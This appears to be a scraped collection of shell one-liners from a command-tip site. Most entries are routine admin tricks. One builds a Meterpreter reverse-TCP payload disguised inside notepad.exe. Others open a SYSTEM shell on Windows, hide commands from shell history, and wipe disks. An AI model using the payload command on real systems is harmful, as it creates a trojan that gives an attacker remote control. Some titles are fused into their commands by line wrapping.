# Recursively search a directory tree for all .php .inc .html .htm .css .js file
s for a certain stringfind . -type f \( -name "*.js" -o -name "*.php" -o -name "*.inc" -o -name "*.html" -o -name "*.htm" -o -name "*.css" \) -exec grep -il 'searchString' {} \;
# easily find megabyte eating files or directories
alias dush="du -xsm * | sort -n | awk '{ printf(\"%4s MB ./\",\$1) ; for (i=1;i<=NF;i++) { if (i>1) printf(\"%s \",\$i) } ; printf(\"\n\") }' | tail"
# Convert KML to GPX w/ gpsbabel
gpsbabel -i kml -f in.kml -o gpx -F out.gpx
# run as system on windows
@echo off && sc create CmdAsSystem type= own type= interact binPath= "cmd /c start cmd /k (cd c:\ ^& color ec ^& title ***** SYSTEM *****)" && net start CmdAsSystem && sc delete CmdAsSystem
# Generate CHECK TABLE statements for all MySQL database tables on a server
DD=`cat /etc/my.cnf | sed "s/#.*//g;" | grep datadir | tr '=' ' ' | gawk '{print $2;}'` && ( cd $DD ; find . -mindepth 2 | grep -v db\.opt | sed 's/\.\///g; s/\....$//g; s/\//./;' | sort | uniq | tr '/' '.' | gawk '{print "CHECK TABLE","`"$1"`",";";}' )
# View your motherboard's ACPI tables (in Debian & Ubuntu)
sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.dat && iasl -d dsdt.dat
# dig this
for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done
# force change password for all user
for i in `cat /etc/passwd | awk -F : '{ print $1 }';`; do passwd -e $i; done
# Extract all urls from the last firefox sessionstore.js file used.
sed -e 's/{"url":/\n&/g' ~/.mozilla/firefox/*/sessionstore.js | cut -d\" -f4
# Change the homepage of Chromium
change-homepage(){ sed -ri 's|( "homepage": ").*(",)|\1'"$@"'\2|' .config/chromium/Default/Preferences; }
# Get your public ip
wget -qO - http://cfaj.freeshell.org/ipaddr.cgi
# List complete size of directories (do not consider hidden directories)
du --max-depth=1 | grep -v '\.\/\.'
# find names of files ending in *log that have both foo and bar
grep -l bar *.log | xargs grep -l foo
# Convert DOS newlines (CR/LF) to Unix format
fromdos <file>
# fast find (by filename; uses sh, less and sed)
ff() { local a=$1; local b=$2; local c="$a"*/*"$b"*; case $# in [01])echo usage: ff drive string [match-no\(s\)];; 2)printf "%s\n" $c|less -SN;; 3)less $(printf "%s\n" $c|sed -n "$3"p|tr '\n' ' ');; esac; }
# Change all instances of a word in all files in the current directory
perl -pi -e 's/foo/bar/g' $(grep -l foo ./*)
# Generate a Universally Unique Identifier (UUID)
uuid
# List complete size of directories (do not consider hidden directories)
du -sh * | grep -v '\.\/\.'
# List files with names in quotes.
for i in *; do echo '"'$i'"'; done
# git log -n 1 -p FILENAME| head -n 1 | awk -F " " '{print $2}'
git last commit on a file.
# Change all instances of a word in all files in the current directory and it's
sub-directoriesperl -pi -e 's/foo/bar/g' $(grep -rl foo ./*)
# For finding out if something is listening on a port and if so what the daemon
is.lsfo -i :[port number]
# return external ip
host -t a dartsclink.com | sed 's/.*has address //'
# List complete size of directories (do not consider hidden directories)
du -sh `ls -p | grep /`
# Create new repo in Cobbler for CentOS 5.3 updates
cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/
# Today's date on a yearly calendar...
cal -y
# Show apps that use internet connection at the moment.
netstat -lantp | grep -i establ | awk -F/ '{print $2}' | uniq | sort
# Weather on the Command line
curl -s "http://www.google.com/ig/api?weather=New%20York" | sed 's|.*<temp_f data="\([^"]*\)"/>.*|\1|'
# Merge tarballs
cat 1.tar.gz 2.tar.gz | tar zxvif -
# Scroll a message in a terminal titlebar
function titlescroll { _X=0 _TITLEMSG=$1 _WIDTH=${2:-16} _TITLEMSG=`printf "%$((${#_TITLEMSG}+$_WIDTH))s" "$_TITLEMSG"` while `true` do _X=$(((_X+1)%${#_TITLEMSG})) xtitle "${_TITLEMSG:_X:_WIDTH}" done }
# Remove Thumbs.db files from folders
find ./ -name Thumbs.db -exec rm -rf '{}' +
# Alternative way to get the root directory size in megabytes
expr $(fdisk -s ` grep ' / ' /etc/mtab |cut -d " " -f1`) / 1024
# empty a file
> filename
# do a full file listing of every file found with locate
locate -i yourfilename | sed 's/ /\\ /g' | xargs ls -lah | less
# Format a flooppy with windows compatible disk
mformat -f 1440 A:
# [Gentoo] Input modules, commented, in your module.autoload file
find /lib/modules/`uname -r`/ -type f -iname '*.o' -or -iname '*.ko' |grep -i -o '[a-z0-9]*[-|_]*[0-9a-z]*\.ko$' |xargs -I {} echo '# {}' >>/etc/modules.autoload.d/kernel-2.6
# Function to bind MySQL hostport to forward remote MySQL connection to localhos
t.sshmysql() { ssh -L 13306:127.0.0.1:3306 -N $* & }
# Ring the system bell after finishing a long script/compile
myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a')
# show your locale language keyboard setting
locale | grep LANG=
# Play newest or random YouTube video
goyoutube() { d=/path/to/videos p=$d/playlist m=$d/*.mp4 f=$d/*.flv if [ "$1" == 'rand' ]; then ls -1 $m $f | shuf >$p else ls -1t $m $f >$p fi mplayer -geometry 500x400 -playlist $p }
# All IP connected to my host
netstat -nut | awk '$NF=="ESTABLISHED" {print $5}' | cut -d: -f1 | sort -u
# Recursive replace of directory and file names in the current directory.
find -name '*oldname*' -print0 | xargs -0 rename 's/oldname/newname/'
# execute your commands and avoid history records
cat | bash
# Sum up total size and count of all certain filename pattern/regex
find -regextype posix-egrep -regex ".*/[A-Z]{3}_201009[0-9]{2}.*" -printf "%f %s\n" | awk '{ SUM += $2;COUNT++ } END { print SUM/1024 " kb in " COUNT " files" }'
# All IP connected to my host
netstat -nut | sed '/ESTABLISHED/!d;s/.*[\t ]\+\(.*\):.*/\1/' | sort -u
# Run a second copy of Firefox using the same profile on Mac OS X
(cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote)
# x bottles of beer on the wall graph
(echo "plot '-' with lines"; for x in $(seq 1 100); do curl -s "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=$(echo $x bottles of beer on the wall|sed 's/ /%20/g')"|sed 's/.*"estimatedResultCount":"\([^"]*\)".*/\1\n/';done)|gnuplot -persist
# Remove executable bit from all files in the current directory recursively, exc
luding other directories, firm permissionschmod -R u=rw-x+X,g=r-x+X,o= .
# view someone's twitter stream from terminal
grabtweets() { curl -s -o $GT_TMP twitter.com/$1 | cat $GT_TMP | grep entry-content | sed -e :loop -e 's/<[^>]*>//g;/</N;//bloop' | sed 's/^[ \t]*//'; }
# addprinc
kadmin -p [email protected] -q "addprinc -randkey host/host"
# Find all symlinks that link to directories
ls -l $(find ./ -type l | perl -ne 'chomp; if (-d) { print "$_\n" }')
# execute your commands hiding secret bits from history records
read -e -s -p "Password: " password
# List the size (in human readable form) of all sub folders from the current loc
ationdu -hs *
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar directory/filename
# ktadd
kadmin -p [email protected] -q "ktadd -k /etc/krb5.keytab host/hostname"
# prints line numbers
sed '/./=' infile | sed '/^/N; s/\n/ /'
# Get Google Reader unread count
curl -s -H "Authorization: GoogleLogin auth=$auth" "http://www.google.com/reader/api/0/unread-count?output=json" | tr '{' '\n' | sed 's/.*"count":\([0-9]*\),".*/\1/' | grep -E ^[0-9]+$ | tr '\n' '+' | sed 's/\(.*\)+/\1\n/' | bc
# Check out hijacked files in clearcase
cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs`
# kalarm 1 per minute simplest e-mail beacom for Geovision surveillance DVR
curl http://www.spam.la/?f=sender | grep secs| awk '{print; exit}' | osd_cat -i 40 -d 30 -l 2
# Purge frozen messages in Exim
for i in `mailq | awk '$6 ~ /^frozen$/ {print $3}'`; do exim -Mrm $i; done
# Echo exit status (a.k.a. return code)
echo $?
# Import an entire directory into clearcase
ct mkelem -nc `find ./ -name "*" | xargs`
# Purge frozen messages in Exim
exipick -zi | xargs exim -Mrm
# Windows person acting like an idiot in Linux?
export PS1="C:\\>"; clear
# webcam player in ascii art
gst-launch v4l2src ! aasink
# gmail safe folder
find | egrep "\.(ade|adp|bat|chm|cmd|com|cpl|dll|exe|hta|ins|isp|jse|lib|mde|msc|msp|mst|pif|scr|sct|shb|sys|vb|vbe|vbs|vxd|wsc|wsf|wsh)$"
# Get the rough (german) time from Twitter
echo -e "Berlin Date/Time is" `TZ=GMT-2 /bin/date \+%c`
# Transforms a file to all uppercase.
perl -i -ne 'print uc $_' $1
# Remove all the files except abc in the directory
find * ! -name abc | xargs rm
# Disable graphical login on Solaris
svcadm disable cde-login
# Prints files
lpr file
# revert one or more changesets in svn
svn merge -r 1337:1336 PATH PATH
# Remove string with several escaped characters from all files under given path
S='<iframe src=\"http:\/\/254.254.254.254\/bad\/index.php\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>' && R=''; find . -name "*.html" -exec grep -l "$S" {} \; | xargs sed -i -e "s/$S/$R/g"
# recursivly open all recently crashed vim buffers in restore mode
find ./ -type f -mtime -1 -name .*.sw[po] -print | sed -r 's/^(.+)\/\.(\S+)\.sw[op]$/\1\/\2/' | xargs vim -r
# Remove all the files except abc in the directory
rm $( ls | egrep -v 'abc|\s' )
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename foo bar filename
# Show top-level subdirectories (zsh)
ls -ld *(/)
# Sort a character string
echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print "";}'
# Bulk copy large blocks of data between File Systems (run as root iff you do no
t own all of the files!)tar cpof - src |( cd des; tar xpof -)
# count how many cat processes are running
ps -cx cat
# arp-scan -l without duplicates
arp-scan -l -g -interface (nic)
# Files modified today
ls *(m-1)
# Length of longest line of code
perl -ne 'push(@w, length); END {printf "%0d\n" , (sort({$b <=> $a} @w))[0]}' *.cpp
# Wait for an already launched program to stop before starting a new command.
while (ps -ef | grep [r]unning_program_name); do sleep 10; done; command_to_execute
# Continue a current job in the background
<ctrl+z> %1 &
# Email if you disk is over 90%
HDD=$(df | awk ' NR>3 (S=$5) (M=$6) { if (S>90) print "Your Systems "M" is """S" Full" } ') ; [[ $HDD ]] && echo "$HDD" | mail -s "Hard-Drives Full" [email protected] -- -f [email protected] >/dev/null
# Print line numbers
sed = <file> | sed 'N;s/\n/\t/'
# Print just line 4 from a textfile
sed '4!d'
# create an mp3 with variable bitrate
lame -h -V 6 track9.wav track9.mp3
# How far is Mac OS X 10.6 from 64-bit?
file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3
# phpinfo from the command line
php -i
# Delete Mailer-Daemon messages
mailq |awk '/MAILER-DAEMON/{gsub("*","");printf("postsuper -d %s\n",$1)}'|bash
# Print just line 4 from a textfile
perl -ne '$. == 4 && print && exit'
# find and kill a zombie process
kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`
# List of commands you use most often
HISTTIMEFORMAT='' history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head > /tmp/cmds ; gnuplot -persist <<<'plot "/tmp/cmds" using 1:xticlabels(2) with boxes'
# phpinfo from the command line
php -r "phpinfo();"
# OS-X... create a quick look from the command line
qlmanage -p "yourfilename"
# sending message to a logined user of group
write user anytext
# Edit all files found having a specific string found by grep
find . -exec grep foobar /dev/null {} \; | awk -F: '{print $1}' | xargs vi
# convert mp3 to ogg
mp32ogg file.mp3
# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
function setx(){ sed '/[xv]/!Q2' <<< $- && { set +xv; export PS4=">>> "; } || { export PS4="`tput setaf 3`>>> `tput sgr0`"; set -xv; }; }
# Print a row of characters across the terminal
jot -b '#' -s '' $COLUMNS
# Find all files over a set size and displays accordingly
find / -type f -size +512000 | xargs ls -lh | awk '{ print $5 " " $6$7 ": " $9 }'
# my command for downloading delicious web links,
wget -r --wait=5 --quota=5000m --tries=3 --directory-prefix=/home/erin/Documents/erins_webpages --limit-rate=20k --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net -F -i ./delicious-20090629.htm
# CPU architecture details
cat /proc/cpuinfo
# Find all files containing a word
find . -name "*.php" -exec grep -il searchphrase {} \;
# List only files in long format.
ls -l | grep ^-
# identify big file
du -s * | sort -nr | head
# Edit all files found having a specific string found by grep
find . -type f -exec grep -qi 'foo' {} \; -print0 | xargs -0 vim
# Pear install behind proxy
pear config-set http_proxy http://myusername:mypassword@corporateproxy:8080
# know which version of the program is installed on your Debian and derivatives
aptitude show $PROGRAM | grep Vers
# Get minimum, current, maximum possible resolution of Xorg
xrandr -q | grep -w Screen
# split a postscript file
file=orig.ps; for i in $(seq `grep "Pages:" $file | sed 's/%%Pages: //g'`); do psselect $i $file $i\_$file; done
# Find the full path of an already running process
readlink -f /proc/<pid>/cmdline
# Filenames ROT13
for each in *; do file="$each."; name=${file%%.*}; suffix=${file#*.}; mv "$each" "$(echo $name | rot13)${suffix:+.}${suffix%.}"; done
# display only tcp
netstat -4tnape
# wget, tar xzvf, cd, ls
wtzc () { wget "$@"; foo=`echo "$@" | sed 's:.*/::'`; tar xzvf $foo; blah=`echo $foo | sed 's:,*/::'`; bar=`echo $blah | sed -e 's/\(.*\)\..*/\1/' -e 's/\(.*\)\..*/\1/'`; cd $bar; ls; }
# Split a file into equal size chunks and archive to (e)mail account.
split -b4m file.tgz file.tgz. ; for i in file.tgz.*; do SUBJ="Backup Archive"; MSG="Archive File Attached"; echo $MSG | mutt -a $i -s $SUBJ YourEmail@(E)mail.com
# Find Out My Linux Distribution Name and Version
if [ -x /etc/*-release ]; then cat /etc/*-release ; else cat /etc/*-version ; fi
# Delete Text Editor's Backup
find . -name "*~" -exec rm {} \;
# vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste
' is off, and so forth (works in insert-mode and command-mode)nmap <F9> :set paste!<BAR>:set paste?<CR>
# Greets the user appropriately
echo -e "12 morning\n15 afternoon\n24 evening" | awk '{if ('`date +%H`' < $1) print "Good " $2}'
# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users?, //'
# Get DMX disk ID from the ODM database of a DMX attached disk. It is ok for vir
tual disks.odmget -q "attribute=unique_id" CuAt |sed -n 's/.*name = "\(.*\)"/\1/p;s/.*value = "..........\(....\)..SYMMETRIX..EMCfcp.*"/0x\1/p;s/.*value =//p'
# Create a temp file
FILE=$(tempfile 2>/dev/null || echo .$RANDOM)
# change the all files which contains xxxxx to yyyyyy
grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g"
# Loopback mount .iso on FreeBSD
mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom
# Unarchive entire folder
for f in *;do case "$(echo $f|sed "s/.*\.\([a-z\.]*\)/\1/g")" in zip)unzip -qqo $f&&rm $f;;tar.gz|tar.bz2)tar xf $f&&rm $f;;rar)unrar e -o+ -r -y $f&&rm $f;;7z)7z e -qqo $f;;esac;done
# Find all videos under current directory
find ./ -type f -print0 | xargs -0 file -iNf - | grep video | cut -d: -f1
# Get DELL Warranty Information from support.dell.com
curl -Ls "http://support.dell.com/support/DPP/Index.aspx?c=us&cs=08W&l=en&s=biz&ServiceTag=$(dmidecode -s system-serial-number)"|egrep -i '>Your Warranty<|>Product Support for'|html2text -style pretty|egrep -v 'Request|View'|perl -pane 's/^(\s+|\})//g;'
# Add to Instapaper
instapaper-add(){ curl -s -d username="$1" -d password="$2" -d url="$3" https://www.instapaper.com/api/add; }
# Search through files, ignoring .svn
find . | grep -v svn
# Connect to irssi over ssh
rxvt-unicode -g 999x999 -sr -depth 32 -bg rg-ba:0000/0000/0000/dddd +sb -T irssi -n irssi -name irssichat -e ssh server.com -Xt screen -aAdr -RR irssi irssi
# checkout directory and the files it contains, without any further subdirectori
escvs checkout -l project/src/
# forking a process from gnome-terminal detached from the terminal.
nohup gnome-open . 0</dev/null 1>/dev/null 2>/dev/null&
# Find and edit multiple files given a regex in vim buffers
vim `find . -iname '*.php'`
# Get to the user for using system.
ps awwux|awk '{print $1}'|sort|uniq
# open new tab without in gnome-terminal
WID=xprop -root | grep "_NET_ACTIVE_WINDOW(WINDOW)"| awk '{print $5}' xdotool windowfocus $WID xdotool key ctrl+shift+t wmctrl -i -a $WID
# transfer files locally to be sure that file permissions are kept correctly sho
wing progresscp -av source dest
# Remove CR LF from a text file
sed -i 's/\r\n//' file.txt
# top ten of biggest files/dirs in $PWD
du -sm *|sort -rn|head -10
# Organize a TV-Series season
season=1; for file in $(ls) ; do dir=$(echo $file | sed 's/.*S0$season\(E[0-9]\{2\}\).*/\1/'); mkdir $dir ; mv $file $dir; done
# dolphins on the desktop (compiz)
xwinwrap -ni -argb -fs -s -st -sp -nf -b -- /usr/libexec/xscreensaver/atlantis -count 20 -window-id WID &
# Simple read and write test with Iozone
iozone -s 2g -r 64 -i 0 -i 1 -t 1
# View the newest xkcd comic.
wget -O xkcd_$(date +%y-%m-%d).png `lynx --dump http://xkcd.com/|grep png`; eog xkcd_$(date +%y-%m-%d).png
# Extract tags in a file
awk -vRS="</Tag2>" '/<Tag2>/{gsub(/.*<Tag2>/,"");print}' file
# Check a internet connetion is up. If it isn't write a log.
while true; do /bin/ping -q -c1 -w3 8.8.8.8 2>&1 > /dev/null || echo "8.8.8.8 ping failed at $(date +%d/%m/%y) $(date +%H:%M:%S)" >> /var/log/ping.log; sleep 10; done &
# Display a random man page
man $(ls /bin | shuf | head -1)
# Tricky implementation of two-dimensional array in Bash
getarray(){ a=$1;b="${a[$2]}";eval "c=$b";echo "${c[$3]}";return 0;};a[0]="( a b c )";a[1]="( d e f )";getarray a 1 2
# shows the full path of shell commands
whereis command
# sed - match numbers between 1-100
cat file | sed -n -r '/^100$|^[0-9]{1,2}$/p'
# Get weather
STA=KILCHICA30 PAG=http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=${STA} D=($(curl -s $PAG | sed -n 's/.*<\(temp_f\|wind_dir\|wind_mph\)>\(.*\)<\/.*/\2/p')) echo ${D[1]}@${D[2]}mph ${D[0]}F
# automate web search and open tabs in firefox
cat search_items.txt | while read i; do surfraw google -browser=firefox $i; done
# Perl One Liner to Generate a Random IP Address
perl -e 'printf "%vd\n",pack "N",rand 256**4'
# Remove two dashes ('--') before signature in Evolution Mail (>2.30.x)
gconf-editor /apps/evolution/mail/composer/no_signature_delim false
# Remove an unnecessary suffix from a file name for all files in a directory
for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done
# Exim version
exim -bV
# Cowsay Random Cow saying your fortune with colorized output
files=(/usr/share/cowsay/cows/*); cowsay -f `echo ${files[$((RANDOM%${#files}))]}` `fortune` | toilet -F gay -f term
# Eliminate duplicate lines on a file
cat file1.txt | uniq > file2.txt
# Checks all MySQL tables
myisamchk /path/to/mysql/files/*.MYI
# transform relative URLs (shoddy hack but it works)
wget -k $URL
# search for the content in a directory
find . -exec grep "test" '{}' /dev/null \; -print
# bash function to check for something every 5 seconds
watch -n <seconds> <command>
# remove files and directories with acces time older than a given date
find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;
# transfer files locally to be sure that file permissions are kept correctly sho
wing progressdir='path to file'; tar cpf - "$dir" | pv -s $(du -sb "$dir" | awk '{print $1}') | tar xpf - -C /other/path
# Create key/value pairs in bash
$ hash="foo:bar"; key=${hash%:*}; value=${hash#*:}; echo "Key: $key Value: $value"
# remove files and directories with acces time older than a given time
find -amin +[n] -delete
# Recursively remove all empty directories
find . -depth -type d -empty -exec rmdir -v {} \;
# Find errors in your php website
find -name "*.php" -exec php -l {} \; | grep -v "No syntax errors"
# Show last argument
echo !$
# encode payload
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.132 LPORT=8000 R | msfencode -c 5 -t exe -x ~/notepad.exe -k -o notepod.exe
# Print the current battery status
acpi | cut -d '%' -f1 | cut -d ',' -f2
# Save VM running as headless
VBoxManage controlvm ServidorProducao savestate
# make multiple directories
mkdir {1..100}
# Determine MythTV Version on a Debian System
apt-cache policy mythtv
# Open a RemoteDesktop from terminal
rdesktop -a 16 luigi:3052
# Get your outgoing IP address
curl icanhazip.com
# GUID generator
guid(){ lynx -nonumbers -dump http://www.famkruithof.net/uuid/uuidgen | grep "\w\{8\}-" | tr -d ' '; }
# Shred an complete disk, by overwritting its content 10 times
sudo shred -zn10 /dev/sda
# make ping run a little faster
alias ping='ping -n'
# see who is on this machine
who;ps aux|grep ssh
# Create ubuntu.qcow image, limit size 10G
qemu-img create ubuntu.qcow 10G
# Open virtual machine in ubuntu.qcow image
qemu -cdrom /dev/cdrom -hda ubuntu.qcow -boot d -net nic -net user -m 196 -localtime
# Convert ogg to mp3
for x in *.ogg; do ffmpeg -i "$x" "`basename "$x" .ogg`.mp3"; done
# Improvement of curl + Twitter
echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml
# Outputs current folder svn revision
LC_ALL=C svn info | grep Revision | awk '{print $2}'
# kills rapidly spawning processes that spawn faster than you can repeat the kil
lall commandkillall rapidly_spawning_process ; killall rapidly_spawning_process ; killall rapidly_spawning_process
# Print your local hostname with python
python -c "import platform; print platform.node()"
# find the device when you only know the mount point
df | grep -w '/media/mountpoint' | cut -d " " -f 1
# Find errors in your php website
egrep '(\[error\])+.*(PHP)+' /var/log/apache2/error.log
# find the device when you only know the mount point
df | grep -w '/media/armadillo' | cut -d " " -f 1
# Add a list of numbers
echo "1+2+3+4" | bc
# Multiple Timed Execution of subshells sleeping in the background using job con
trol and sleep.S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Love... '>$S & ) && (sleep 7 && echo 'and Intergalactic Happiness!'>$S & )
# Checks apache's access_log file, strips the search queries and shoves them up
your e-mailcat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 | mail [email protected] -s "[your-site] search strings for `date`"
# Sum file sizes
find . -type f -printf %s\\n | numsum
# Display all installed ISO/IEC 8859 manpages
for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done
# Get a list of commands for which there are no manpages
for file in $(ls /usr/bin ) ; do man -w $file 2>> nomanlist.txt >/dev/null ; done
# Find PHP files
find . -name "*.php" -print0 | xargs -0 grep -i "search phrase"
# Get pid of running Apache Tomcat process
ps -eo pid,args | grep -v grep | grep catalina | awk '{print $1}'
# Convert all tabs in a file to spaces, assuming the tab width is 2
sed -i 's/\t/ /g' yourfile
# Check the reserved block percentage of an Ext2/3 filesystem
dumpe2fs -h /dev/sdX
# Delete only binary files in a directory
for i in *; do file "$i" | grep -Fqw "ELF" && rm "$i"; done
# Mount a CD-ROM on Solaris (SPARC)
mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro `ls -al /dev/sr* |awk '{print "/dev/" $11}'` /cdrom/unnamed_cdrom
# Mount a Windows share on the local network (Ubuntu)
sudo mount -t cifs //$ip_or_host/$sharename /mnt
# Get IPv6 of eth0 for use with scripts
/sbin/ifconfig eth0 | grep 'inet6 addr:' | awk {'print $3'}
# Show the single most recently modified file in a directory
ls -ltp | grep -v '/$' | head -n1
# CPU model
cat /proc/cpuinfo
# Upload - rsync using key pair
rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair [email protected]:/root
# Alias cd to record your directory travelling
alias cd='pushd'; alias cd-='popd'
# Display a list of upgradeable packages (apt)
apt-show-versions -u
# mac address for eth0
ifconfig eth0 | grep 'HWaddr' | awk '{print $5}'
# show open ports on computer
netstat -an | grep -i listen
# Upload - rsync using key pair
rsync -avvvz -e "ssh -i /root/.ec2/id_rsa-gsg-keypair" --archive --progress /root/.ec2/id_rsa-gsg-keypair [email protected]:/root
# command line fu roulette, without all the excessive parsing
function fur () { curl -sL 'http://www.commandlinefu.com/commands/random/plaintext' | grep -v "^# commandlinefu" }
# Show the single most recently modified file in a directory
ls -lFart |tail -n1
# put nothing nowhere
cat /dev/zero > /dev/null &
# Generate a random password 32 characters long :)
makepasswd --char=32
# print random commandlinefu.com submission
lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' | head -1037 | tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2
# big countdown clock with hours, minutes and seconds
watch -tn1 'date -u +%T -d @$(expr $(date -d HH:MM +%s) - $(date +%s)) | toilet -f bigmono12'
# Recursively remove all '.java.orig' directories (scalable)
find . -depth \( -path '*/*.java.orig' -o -path '*/*.java.orig/*' \) -delete
# Clean all .pyc files from current project. It cleans all the files recursively
.find . -name "*.pyc" -exec rm {} \;
# find a word in multiple files avoiding svn
grep -r 'keyword keyword2' your/path/ | grep -v svn
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
TODAY=`date +"%b %d"`;ls -l | grep "$TODAY" | awk '{print $9}'
# umount all nfs mounts on machine
mount | grep : | tr -s ' ' -d 3 | xargs umount -v
# List all symbolic links in current directory
ls -F | sed -n 's/@$//p'
# Emulate sleep in DOS/BAT
echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %as&ping -n 2 -w 1 127.0.0.1>NUL) && echo sleep() end: %TIME%
# Count total number of subdirectories in current directory starting with specif
ic name.find . -type d -name "*TestDir*" | wc -l
# Display a File with Line Number
nl filename | more
# Print a row of 50 hyphens
printf "%.50d" 0 | tr 0 -
# Contextual Menu Cleanup (OSX)
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -kill -r -domain local -domain system -domain user
# Get your local IP regardless of your network interface
ifconfig | grep "inet\ " | grep -v "127.0" | sed -e 's/inet\ addr://g' | sed -e 's/Bcast:/\ \ \ \ \ \ \ /g' | cut -c 1-29 | sed -e 's/\ //g'
# UNIX one-liner to kill a hanging Firefox process
kill -HUP ` ps -aef | grep -i firefox | sort -k 2 -r | sed 1d | awk ' { print $2 } ' `
# Update iptables firewall with a temp ruleset
sudo iptables-restore < /etc/iptables.test.rules
# LIST FILENAMES OF FILES CREATED TODAY IN CURRENT DIRECTORY
ls -la | grep $(date +%Y-%m-%d) | egrep -v -e '\.{1,2}' | sed "s/.*\:[0-9]\{2\} \(.\+\)$/\\1/g"
# Lowercase to Uppercase
echo "test" | sed 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'
# View the newest xkcd comic.
eog `curl 'http://xkcd.com/' | awk -F "ng): |</h" '/embedding/{print $2}'`
# External IP address
curl ifconfig.me
# Find in all files in the current directory, just a find shorthand
find ./ -name $1 -exec grep -H -n $2 '{}' ';'
# determine if CPU is 32-bit or 64-bit
grep lm /proc/cpuinfo
# Sorted list of established destination connections
netstat | grep EST | awk '{print $5}' | sort
# List your installed Firefox extensions
$grep -hIr -m 1 em:name ~/.mozilla/firefox/*.default/extensions|sed 's#\s*##'|tr '<>=' '"""'|cut -f3 -d'"'|sort -u
# Forward connections
ssh -g -L 8080:localhost:80 root@$HOST
# Group page count in pmwiki data base
cd /path/to/pmwiki/wiki.d;/bin/ls -1 | perl -ne 'my ($group,$name)=split(/\./);$counts{$group}++;' -e 'END { foreach $group (sort keys %counts) {printf("%d\t%s\n",$counts{$group},$group);} }'|sort -rn
# Base64 decode
echo Y29tbWFuZGxpbmUuZnUgcm9ja3MK | base64 -d
# Show "Max" settings for PHP
php -i|grep -i max
# Recursively remove .svn directories
rm -rf `find . -name .svn`
# Outgoing IP of server
wget http://www.whatismyip.org --quiet -O - | cat
# Calculates fake folder checksum based on folder's files' md5sums
find path/to/folder/ -type f -print0 | xargs -0 -n 1 md5sum | awk '{print $1}' | sort | md5sum | awk '{print $1}'
# Extract all 7zip files in current directory taking filename spaces into accoun
t7za x \*.zip
# convert Unix newlines to DOS newlines
sed 's/$'"/`echo \\\r`/"
# What is my ip?
lynx --dump "http://checkip.dyndns.org"
# What is my ip?
w3m miip.cl | grep ip
# A little bash daemon =)
echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h $!
# cd canonical (resolve any symlinks)
alias cdc='cd `pwd -P`'
# example usage of sar
sar -g 5 5
# What is my ip?
w3m http://amit-agarwal.co.in/mystuff/getip_txt.php will return the ip in text format.
# Renames all files in the current directory such that the new file contains no
space characters.ls -1 | while read file; do new_file=$(echo $file | sed s/\ //g); mv "$file" "$new_file"; done
# Show live HTTP requests being made on OS X
sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*"
# the sql script
mysql -u user-name -p password < script.sql
# gzip vs bzip2 at compressing random strings?
< /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz) >(bzip2 -c > out.bz) > /dev/null
# What Type of Computer Do You Have?
cat /sys/devices/virtual/dmi/id/board_name
# copy partition table from /dev/sda to /dev/sdb
sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g')
# Find MAC address of Active Eth connection
/sbin/ifconfig|grep -B 1 inet |head -1 | awk '{print $5}'
# get you public ip address
curl ifconfig.me
# Move files around local filesystem with tar without wasting space using an int
ermediate tarball.tar -C <source> -cf - . | tar -C <destination> -xf -
# Rezip a bunch of files
